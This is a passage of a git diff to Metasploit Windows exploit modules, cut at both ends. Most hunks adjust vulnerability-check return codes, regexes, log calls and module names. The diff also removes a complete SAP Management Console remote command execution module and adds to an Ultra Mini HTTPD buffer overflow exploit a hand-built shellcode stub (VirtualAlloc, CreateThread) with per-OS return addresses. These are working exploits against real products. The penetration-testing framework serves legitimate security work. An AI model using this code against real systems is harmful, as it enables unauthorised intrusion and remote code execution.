@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
       # Conditions based on OSVDB info
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb
index 63e31b8db2..cecf607a69 100644
--- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb
+++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb
@@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote
     resp = sock.get_once
     disconnect
 
-    if (resp =~ /9.2.0.1.0/)
-      return Exploit::CheckCode::Vulnerable
+    if (resp =~ /9\.2\.0\.1\.0/)
+      return Exploit::CheckCode::Appears
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb
index 45ce9d8c4c..90e3dceda1 100644
--- a/modules/exploits/windows/http/oracle_endeca_exec.rb
+++ b/modules/exploits/windows/http/oracle_endeca_exec.rb
@@ -95,15 +95,15 @@ class Metasploit3 < Msf::Exploit::Remote
     version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
 
     if version_match.nil?
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Safe
     else
       version = version_match[1]
     end
 
-    print_status("#{peer} - Version found: Oracle Endeca Server #{version}")
+    vprint_status("#{peer} - Version found: Oracle Endeca Server #{version}")
 
     if version =~ /7\.4\.0/ and version <= "7.4.0.787"
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb
index 9757202732..976150a923 100644
--- a/modules/exploits/windows/http/peercast_url.rb
+++ b/modules/exploits/windows/http/peercast_url.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
+      'Name'           => 'PeerCast URL Handling Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in PeerCast <= v0.1216.
         The vulnerability is caused due to a boundary error within the
diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb
index 9d7fd62509..6d8be475ca 100644
--- a/modules/exploits/windows/http/psoproxy91_overflow.rb
+++ b/modules/exploits/windows/http/psoproxy91_overflow.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
     sock.put("GET / HTTP/1.0\r\n\r\n")
     banner = sock.get(-1,3)
     if (banner =~ /PSO Proxy 0\.9/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
index 52cf6c8a60..21ff043ae7 100644
--- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
+++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
@@ -64,14 +64,16 @@ class Metasploit3 < Msf::Exploit
     begin
       res = send_evil_request(uri, "whoami", 20)
     rescue
-      Exploit::CheckCode::Unknown
+      vprint_error("An error has occured while sending the malicious request")
+      return Exploit::CheckCode::Unknown
     end
     if !res
-      Exploit::CheckCode::Unknown
+      vprint_error("Connection timed out")
+      return Exploit::CheckCode::Unknown
     elsif res.body.include?("Process created")
-      Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Vulnerable
     else
-      Exploit::CheckCode::Safe
+      return Exploit::CheckCode::Safe
     end
   end
 
diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
index 13cab152d0..47e0cd709d 100644
--- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
+++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
@@ -394,7 +394,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 10)
 
     if (res and res.code == 500 and res.body =~ /Generic error/)
-      return CheckCode::Appears
+      return CheckCode::Vulnerable
     else
       return CheckCode::Safe
     end
diff --git a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb
deleted file mode 100644
index 3e9604725f..0000000000
--- a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit4 < Msf::Exploit::Remote
-
-  require 'msf/core/module/deprecated'
-  include Msf::Module::Deprecated
-  deprecated Date.new(2013, 12, 1), "exploit/multi/sap/sap_mgmt_con_osexec_payload"
-
-  Rank = ExcellentRanking
-
-  HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
-
-  include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::CmdStagerVBS
-  include Msf::Exploit::EXE
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'SAP Management Console OSExecute Payload Execution',
-      'License'        => MSF_LICENSE,
-      'Author'         => [ 'Chris John Riley' ],
-      'Description'    => %q{
-          This module executes an arbitrary payload through the SAP Management Console
-        SOAP Interface.  A valid username and password must be provided.
-      },
-      'References'     =>
-        [
-          # General
-          [ 'URL', 'http://blog.c22.cc' ]
-        ],
-      'Privileged'     => true,
-      'DefaultOptions' =>
-        {
-        },
-      'Payload'        =>
-        {
-        'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
-        },
-      'Platform'      => [ 'win' ],
-      'Targets'        =>
-        [
-          [
-            'Windows Universal',
-            {
-              'Arch' => ARCH_X86,
-              'Platform' => 'win'
-            },
-          ],
-        ],
-      'DefaultTarget'  => 0,
-      'DisclosureDate' => 'Mar 08 2011'
-    ))
-
-    register_options(
-      [
-        Opt::RPORT(50013),
-        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
-        OptString.new('USERNAME', [true, 'Username to use', '']),
-        OptString.new('PASSWORD', [true, 'Password to use', '']),
-      ], self.class)
-    register_advanced_options(
-      [
-        OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
-      ], self.class)
-    register_autofilter_ports([ 50013 ])
-  end
-
-  def autofilter
-    false
-  end
-
-  def exploit
-    print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
-    linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
-    print_status("Using custom payload size of #{linemax}") if linemax != 7500
-    execute_cmdstager({ :delay => 0.35, :linemax => linemax })
-    handler
-  end
-
-  # This is method required for the CmdStager to work...
-  def execute_command(cmd, opts)
-
-    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
-    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
-    xs = 'http://www.w3.org/2001/XMLSchema'
-    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
-    ns1 = 'ns1:OSExecute'
-
-    cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
-    if cmd_s.length > 1
-      print_status("Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
-    end
-
-    cmd_s = cmd_s.collect(&:strip)
-    cmd_s.each do |payload|
-
-      data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
-      data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
-      data << '<SOAP-ENV:Header>' + "\r\n"
-      data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
-      data << '<enableSession>true</enableSession>' + "\r\n"
-      data << '</sapsess:Session>' + "\r\n"
-      data << '</SOAP-ENV:Header>' + "\r\n"
-      data << '<SOAP-ENV:Body>' + "\r\n"
-      data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
-      data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
-      data << '</SOAP-ENV:Body>' + "\r\n"
-      data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
-
-      user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
-
-      begin
-        res = send_request_raw({
-          'uri'     => normalize_uri(datastore['URI']),
-          'method'  => 'POST',
-          'data'    => data,
-          'headers' =>
-            {
-              'Content-Length'  => data.length,
-              'SOAPAction'      => '""',
-              'Authorization'   => 'Basic ' + user_pass,
-              'Content-Type'    => 'text/xml; charset=UTF-8',
-            }
-        }, 60)
-
-      if (res and res.code != 500 and res.code != 200)
-        print_error("[SAP] An unknown response was received from the server")
-        abort("Invlaid server response")
-      elsif res and res.code == 500
-        body = res.body
-        if body.match(/Invalid Credentials/i)
-          print_error("[SAP] The Supplied credentials are incorrect")
-          abort("Exploit not complete, check credentials")
-        elsif body.match(/Permission denied/i)
-          print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
-          fail_with(Failure::NoAccess, "Exploit not complete, check credentials")
-        end
-      end
-
-      rescue ::Rex::ConnectionError
-        fail_with(Failure::Unreachable, "Could not access SAP service")
-        break
-      end
-    end
-  end
-end
diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb
index 37efed7261..d439eacd1e 100644
--- a/modules/exploits/windows/http/savant_31_overflow.rb
+++ b/modules/exploits/windows/http/savant_31_overflow.rb
@@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = http_fingerprint  # check method
     if info and (info =~ /Savant\/3\.1/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb
index 3093d9cb03..07f2fd2180 100644
--- a/modules/exploits/windows/http/servu_session_cookie.rb
+++ b/modules/exploits/windows/http/servu_session_cookie.rb
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif (res =~ /Server: Serv-U/)
       return Exploit::CheckCode::Detected
     end
diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb
index 02145d4867..70e3f35024 100644
--- a/modules/exploits/windows/http/shoutcast_format.rb
+++ b/modules/exploits/windows/http/shoutcast_format.rb
@@ -65,14 +65,15 @@ class Metasploit3 < Msf::Exploit::Remote
     m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
     return Exploit::CheckCode::Safe if not m
 
-    print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
+    vprint_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
 
     # SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
     if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
       if (m[2] == "win32")
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
+      else
+        return Exploit::CheckCode::Detected
       end
-      print_status("Vulnerable version detected, but not a win32 host")
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb
index b0547d8e19..98af060d72 100644
--- a/modules/exploits/windows/http/shttpd_post.rb
+++ b/modules/exploits/windows/http/shttpd_post.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
+      'Name'           => 'SHTTPD URI-Encoded POST Request Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in SHTTPD <= 1.34.
         The vulnerability is caused due to a boundary error within the
diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
index 9fe203fdf3..2a37f164f4 100644
--- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
+++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex
     if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
       res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb
index 6504820ad3..f5d176fe4d 100644
--- a/modules/exploits/windows/http/steamcast_useragent.rb
+++ b/modules/exploits/windows/http/steamcast_useragent.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
+      'Name'           => 'Streamcast HTTP User-Agent Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
           an overly long User-Agent in an HTTP GET request, an attacker may be able to
@@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote
     res = sock.get(-1, 3)
     disconnect
 
-    if (res =~ /Steamcast\/0.9.75/)
-      return Exploit::CheckCode::Vulnerable
+    if (res =~ /Steamcast\/0\.9\.75/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb
index 7e7773d954..a26a19d90c 100644
--- a/modules/exploits/windows/http/sws_connection_bof.rb
+++ b/modules/exploits/windows/http/sws_connection_bof.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     res = send_request_raw({'uri'=>'/'})
     if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb
index bb598c488d..fc74de354b 100644
--- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb
+++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb
@@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if (res and res.body =~ /fsockopen/)
       fp = fingerprint()
-      print_status("Detected a vulnerable TrackerCam installation on #{fp}")
-      return Exploit::CheckCode::Confirmed
+      vprint_status("Detected a vulnerable TrackerCam installation on #{fp}")
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb
index f4544fbc06..867cf7ab4c 100644
--- a/modules/exploits/windows/http/ultraminihttp_bof.rb
+++ b/modules/exploits/windows/http/ultraminihttp_bof.rb
@@ -10,19 +10,28 @@ class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::HttpClient
 
+  ADDR_VIRTUALALLOC    = 0x0041A140
+  ADDR_CREATETHREAD    = 0x0041A240
+  ADDR_TERMINATETHREAD = 0x0041A23C
+
   def initialize(info={})
     super(update_info(info,
       'Name'           => "Ultra Mini HTTPD Stack Buffer Overflow",
       'Description'    => %q{
           This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
         allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
-        request.
+        request. This exploit has to deal with the fact that the application's request handler
+        thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
+        some RWX memory, copies the payload to it and creates another thread. When done, it
+        terminates the current thread so that it doesn't crash and hence doesn't bring down
+        the process with it.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-          'superkojiman',  #Discovery, PoC
-          'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
+          'superkojiman',                         # Discovery, PoC
+          'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
+          'OJ Reeves <oj[at]buffered.io>'         # Metasploit
         ],
       'References'     =>
         [
@@ -33,22 +42,41 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'Payload'        =>
         {
-          'Space' => 1623,
-          'StackAdjustment' => -3500,
           'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
         },
-      'DefaultOptions'  =>
+      'DefaultOptions' =>
         {
-          'ExitFunction' => "thread"
+          'EXITFUNC'   => "thread"
         },
       'Platform'       => 'win',
       'Targets'        =>
         [
           [
-            'v1.21 - Windows XP SP3',
+            'v1.21 - Windows Server 2000',
             {
               'Offset' => 5412,
-              'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
+              'Ret'    => 0x78010324 # push esp / ret - msvcrt.dll
+            }
+          ],
+          [
+            'v1.21 - Windows XP SP0',
+            {
+              'Offset' => 5412,
+              'Ret'    => 0x77C4C685 # push esp / ret - msvcrt.dll
+            }
+          ],
+          [
+            'v1.21 - Windows XP SP2/SP3',
+            {
+              'Offset' => 5412,
+              'Ret'    => 0x77c354b4 # push esp / ret - msvcrt.dll
+            }
+          ],
+          [
+            'v1.21 - Windows Server 2003 (Enterprise)',
+            {
+              'Offset' => 5412,
+              'Ret'    => 0x77BDD7F5 # push esp / ret - msvcrt.dll
             }
           ]
         ],
@@ -58,15 +86,88 @@ class Metasploit3 < Msf::Exploit::Remote
     ))
   end
 
+  def mov_eax(addr)
+    "\xB8" + [addr].pack("V*")
+  end
+
+  def call_addr_eax(addr)
+    mov_eax(addr) + "\xff\x10"
+  end
+
   def exploit
-    buf = rand_text(target['Offset'])
+    new_thread = ""
+
+    # we use 0 a lot, so set EBX to zero so we always have it handy
+    new_thread << "\x31\xdb"                          # xor ebx,ebx
+
+    # store esp in esi, and offset it to point at the rest of the payload
+    # as this will be used as the source for copying to the area of memory
+    # which will be executed in a separate thread. We fill in the offset
+    # at the end as we can calculate it instead of hard-code it
+    new_thread << "\x89\xe6"                          # mov esi,esp
+    new_thread << "\x83\xc6\x00"                      # add esp,<TODO>
+    esi_count_offset = new_thread.length - 1
+
+    # Create a new area of memory with RWX permissions that we can copy
+    # the payload to and execute in another thread. This is required
+    # because the current thread is killed off after 60 seconds and it
+    # takes our payload's execution with it.
+    new_thread << "\x6a\x40"                          # push 0x40
+    new_thread << "\x68\x00\x30\x00\x00"              # push 0x3000
+    new_thread << "\x68\x00\x10\x00\x00"              # push 0x1000
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << call_addr_eax(ADDR_VIRTUALALLOC)    # call VirtualAlloc
+
+    # copy the rest of the payload over to the newly allocated area of
+    # memory which is executable.
+    payload_size = [payload.encoded.length].pack("V*")
+    new_thread << "\xb9" + payload_size               # mov ecx,payload_size
+    new_thread << "\x89\xc7"                          # mov edi,eax
+    new_thread << "\xf2\xa4"                          # rep movsb
+
+    # kick of the payload in a new thread
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << "\x50"                              # push eax (payload dress)
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << "\x53"                              # push ebx (0)
+    new_thread << call_addr_eax(ADDR_CREATETHREAD)    # call CreateThread
+
+    # Terminate the current thread so that we don't crash and hence bring
+    # the entire application down with us.
+    new_thread << "\x53"                              # push ebx (0)
+    # set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
+    new_thread << "\x4b"                              # dec ebx
+    new_thread << "\x4b"                              # dec ebx
+    new_thread << "\x53"                              # push ebx (0xFFFFFFFE)
+    new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread
+
+    # patch the offset of esi back into the payload
+    nops = 32
+    decode_stub_size = 23
+    calculated_offset = new_thread.length + nops + decode_stub_size
+    new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")
+
+    # start constructing our final payload
+    buf = rand_text_alpha_upper(target['Offset'])
     buf << [target.ret].pack("V*")
+
+    # ESP points right to the top of our shellcode so we just add a few nops
+    # to the start to avoid having the first few bytes nailed by the decoder.
+    buf << make_nops(nops)
+
+    # we re-encode, including the thread creation stuff and the chosen payload
+    # as we don't currently have the ability to "prepend raw" stuff to the front
+    # of the buffer prior to encoding.
+    buf << encode_shellcode_stub(new_thread)
     buf << payload.encoded
 
     print_status("Sending buffer...")
     send_request_cgi({
-      'method' => 'GET',
+      'method' => 'POST',
       'uri'    => "/#{buf}"
     })
   end
 end
+
diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
index c92762639b..fe5289afc4 100644
--- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
+++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
@@ -96,9 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data = Rex::MIME::Message.new
     post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi(
     {
diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb
index 0af979dddc..f10b39da33 100644
--- a/modules/exploits/windows/http/xitami_if_mod_since.rb
+++ b/modules/exploits/windows/http/xitami_if_mod_since.rb
@@ -65,9 +65,11 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /Xitami/)
-      return Exploit::CheckCode::Appears
+      vprint_status("Banner: #{banner}")
+      return Exploit::CheckCode::Detected
     end
-      return Exploit::CheckCode::Safe
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb
index d75850ad4e..76e34f9a3a 100644
--- a/modules/exploits/windows/iis/ms01_023_printer.rb
+++ b/modules/exploits/windows/iis/ms01_023_printer.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS 5.0 Printer Host Header Overflow',
+      'Name'           => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
       'Description'    => %q{
           This exploits a buffer overflow in the request processor of
         the Internet Printing Protocol ISAPI module in IIS. This
diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
index bac4dd82e5..e613bfaf7d 100644
--- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb
+++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
+      'Name'           => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
       'Description'    => %q{
           This module will execute an arbitrary payload on a Microsoft IIS installation
         that is vulnerable to the CGI double-decode vulnerability of 2001.
diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb
index 0bbb743fb6..15c6cb84b7 100644
--- a/modules/exploits/windows/iis/ms01_033_idq.rb
+++ b/modules/exploits/windows/iis/ms01_033_idq.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
+      'Name'           => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the IDQ ISAPI handler for
         Microsoft Index Server.
diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb
index ebf1d26274..ae466473de 100644
--- a/modules/exploits/windows/iis/ms02_018_htr.rb
+++ b/modules/exploits/windows/iis/ms02_018_htr.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS 4.0 .HTR Path Overflow',
+      'Name'           => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',
       'Description'    => %q{
           This exploits a buffer overflow in the ISAPI ISM.DLL used to
         process HTR scripting in IIS 4.0. This module works against
diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb
index 1a45aaadf2..37c97e45de 100644
--- a/modules/exploits/windows/iis/ms02_065_msadc.rb
+++ b/modules/exploits/windows/iis/ms02_065_msadc.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize
     super(
-      'Name'        => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
+      'Name'        => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
       'Description' => %q{
           This module can be used to execute arbitrary code on IIS servers
           that expose the /msadc/msadcs.dll Microsoft Data Access Components
diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
index b2c1f59491..61eb52d702 100644
--- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
+++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
+      'Name'           => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
       'Description'    => %q{
         This exploits a buffer overflow in NTDLL.dll on Windows 2000
         through the SEARCH WebDAV method in IIS. This particular
@@ -85,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 
     if (response and response.body =~ /Server Error\(exception/)
+      vprint_status("We've hit a server error (exception)")
       return Exploit::CheckCode::Vulnerable
     end
 
@@ -92,6 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       send_request_raw({'uri' => '/'}, 5)
     rescue
+      vprint_status("The server stopped accepting requests")
       return Exploit::CheckCode::Vulnerable
     end
 
diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb
index 9c6c71482d..7b517fcc5b 100644
--- a/modules/exploits/windows/iis/msadc.rb
+++ b/modules/exploits/windows/iis/msadc.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize
     super(
-      'Name'           => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
+      'Name'           => 'MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
       'Description'    => %q{
           This module can be used to execute arbitrary commands on IIS servers
           that expose the /msadc/msadcs.dll Microsoft Data Access Components
diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb
index 6a2017102d..c8977cd552 100644
--- a/modules/exploits/windows/imap/eudora_list.rb
+++ b/modules/exploits/windows/imap/eudora_list.rb
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
     targ = auto_target
     disconnect
 
-    return Exploit::CheckCode::Vulnerable if (targ)
+    return Exploit::CheckCode::Appears if (targ)
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb
index 8875e6465c..e14ae84a4a 100644
--- a/modules/exploits/windows/imap/mailenable_w3c_select.rb
+++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb
@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb
index a26f49163a..4362957696 100644
--- a/modules/exploits/windows/imap/mdaemon_fetch.rb
+++ b/modules/exploits/windows/imap/mdaemon_fetch.rb
@@ -51,8 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
 
-    if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
-      return Exploit::CheckCode::Vulnerable
+    if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb
index c3618c9423..05b715b603 100644
--- a/modules/exploits/windows/imap/mercury_login.rb
